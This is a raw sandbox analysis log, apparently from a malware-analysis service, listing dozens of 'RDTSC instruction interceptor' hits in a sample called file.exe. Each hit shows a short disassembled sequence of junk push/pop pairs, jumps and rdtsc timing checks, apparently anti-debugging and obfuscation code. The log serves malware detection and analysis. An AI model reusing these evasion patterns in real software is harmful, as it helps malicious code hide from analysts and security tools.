Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA32F1 second address: EA3313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06337h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3313 second address: EA3317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3317 second address: EA3323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA3323 second address: EA3336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007FAB30D3D446h 0x0000000b jno 00007FAB30D3D446h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA346F second address: EA347B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAB30C06326h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA67DB second address: EA67FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA67FD second address: EA6801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6801 second address: EA6805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6805 second address: EA680B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA680B second address: EA6836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FAB30D3D456h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FAB30D3D446h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA696B second address: EA69A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 ja 00007FAB30C0633Ah 0x0000000f jmp 00007FAB30C06334h 0x00000014 jmp 00007FAB30C0632Bh 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jg 00007FAB30C06328h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA69A8 second address: EA6A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FAB30D3D446h 0x00000009 jmp 00007FAB30D3D453h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 jmp 00007FAB30D3D458h 0x00000017 lea ebx, dword ptr [ebp+1245C6C1h] 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FAB30D3D450h 0x00000023 push eax 0x00000024 jo 00007FAB30D3D44Eh 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6A73 second address: EA6AC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jns 00007FAB30C06329h 0x0000000f push 00000000h 0x00000011 sbb si, 1AECh 0x00000016 push 6017A190h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007FAB30C06338h 0x00000023 jmp 00007FAB30C06336h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6AC3 second address: EA6ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6C35 second address: EA6C3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6C3A second address: EA6C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAB30D3D446h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D17F1h], edi 0x00000016 mov dword ptr [ebp+122D2E2Fh], esi 0x0000001c push 00000000h 0x0000001e call 00007FAB30D3D44Ch 0x00000023 xor dword ptr [ebp+122D30EBh], edx 0x00000029 pop esi 0x0000002a call 00007FAB30D3D449h 0x0000002f push ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 jo 00007FAB30D3D446h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EA6C7D second address: EA6CD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06335h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FAB30C06336h 0x00000011 pushad 0x00000012 jmp 00007FAB30C06335h 0x00000017 jp 00007FAB30C06326h 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 push ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EB8D1E second address: EB8D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E9CE8B second address: E9CE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E9CE95 second address: E9CE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E9CE9A second address: E9CEAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A27 second address: EC5A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A31 second address: EC5A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A39 second address: EC5A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A3F second address: EC5A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A46 second address: EC5A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC5A4D second address: EC5A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC623F second address: EC6253 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB30D3D446h 0x00000008 jng 00007FAB30D3D446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6546 second address: EC654A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC654A second address: EC6573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAB30D3D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAB30D3D450h 0x00000013 jmp 00007FAB30D3D44Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC681C second address: EC683D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06335h 0x00000009 je 00007FAB30C0632Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6B46 second address: EC6B71 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAB30D3D452h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FAB30D3D452h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6B71 second address: EC6B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAB30C06326h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6CD4 second address: EC6CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jnp 00007FAB30D3D446h 0x0000000e jc 00007FAB30D3D446h 0x00000014 jmp 00007FAB30D3D44Fh 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8A797 second address: E8A7A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6E3B second address: EC6E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FAB30D3D44Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6E4A second address: EC6E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06332h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC6E65 second address: EC6E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC7532 second address: EC7551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FAB30C06330h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC76B2 second address: EC76B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC76B6 second address: EC7719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06330h 0x00000007 jmp 00007FAB30C06333h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f jmp 00007FAB30C06331h 0x00000014 pop esi 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FAB30C06337h 0x0000001c pushad 0x0000001d jmp 00007FAB30C0632Dh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EC786A second address: EC7870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECD474 second address: ECD47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECDB16 second address: ECDB20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAB30D3D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECDB20 second address: ECDB3B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FAB30C0632Ch 0x00000015 jns 00007FAB30C06326h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ECEC20 second address: ECEC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8C2BD second address: E8C2C7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB30C06326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1B36 second address: ED1B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1B3A second address: ED1B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1B48 second address: ED1B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED223B second address: ED2243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED2243 second address: ED2253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D44Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3DD0 second address: ED3DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FAB30C06328h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3DE3 second address: ED3DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3DE9 second address: ED3DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3DED second address: ED3E32 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAB30D3D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FAB30D3D458h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAB30D3D458h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3E32 second address: ED3E87 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov di, dx 0x0000000f call 00007FAB30C06329h 0x00000014 js 00007FAB30C0632Eh 0x0000001a jl 00007FAB30C06328h 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FAB30C0632Dh 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c jmp 00007FAB30C0632Ch 0x00000031 mov eax, dword ptr [eax] 0x00000033 push esi 0x00000034 push edi 0x00000035 pushad 0x00000036 popad 0x00000037 pop edi 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3E87 second address: ED3E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3E8B second address: ED3E99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FAB30C06326h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED3FF7 second address: ED4029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB30D3D44Dh 0x00000008 jmp 00007FAB30D3D454h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FAB30D3D448h 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED4368 second address: ED436C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED4AE7 second address: ED4AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED4AEB second address: ED4B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06332h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED7A32 second address: ED7A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED7AF4 second address: ED7B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FAB30C0632Bh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAB30C06331h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED7B1D second address: ED7B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDA56A second address: EDA57C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007FAB30C06338h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDA2D6 second address: EDA2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAB30D3D44Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDA57C second address: EDA580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDDCB1 second address: EDDCB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE06DE second address: EE06E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE06E2 second address: EE06F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE06F8 second address: EE0703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE0703 second address: EE0716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAB30D3D446h 0x0000000a popad 0x0000000b jp 00007FAB30D3D44Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE0879 second address: EE0889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE357B second address: EE357F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE357F second address: EE3583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE45A1 second address: EE45CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jl 00007FAB30D3D44Ch 0x0000000e mov dword ptr [ebp+122D18BDh], esi 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D297Eh], eax 0x0000001c push 00000000h 0x0000001e add edi, 065835DBh 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 jl 00007FAB30D3D44Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE3762 second address: EE3768 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE45CF second address: EE45D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE45D7 second address: EE45DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE45DB second address: EE45DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE480D second address: EE4827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAB30C0632Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE4827 second address: EE483C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB30D3D450h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB64E second address: EEB653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB653 second address: EEB6BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAB30D3D454h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FAB30D3D448h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007FAB30D3D448h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 mov di, si 0x00000047 push 00000000h 0x00000049 xchg eax, esi 0x0000004a pushad 0x0000004b push edi 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB6BF second address: EEB6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB6C7 second address: EEB6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAB30D3D44Ah 0x00000010 rdtsc
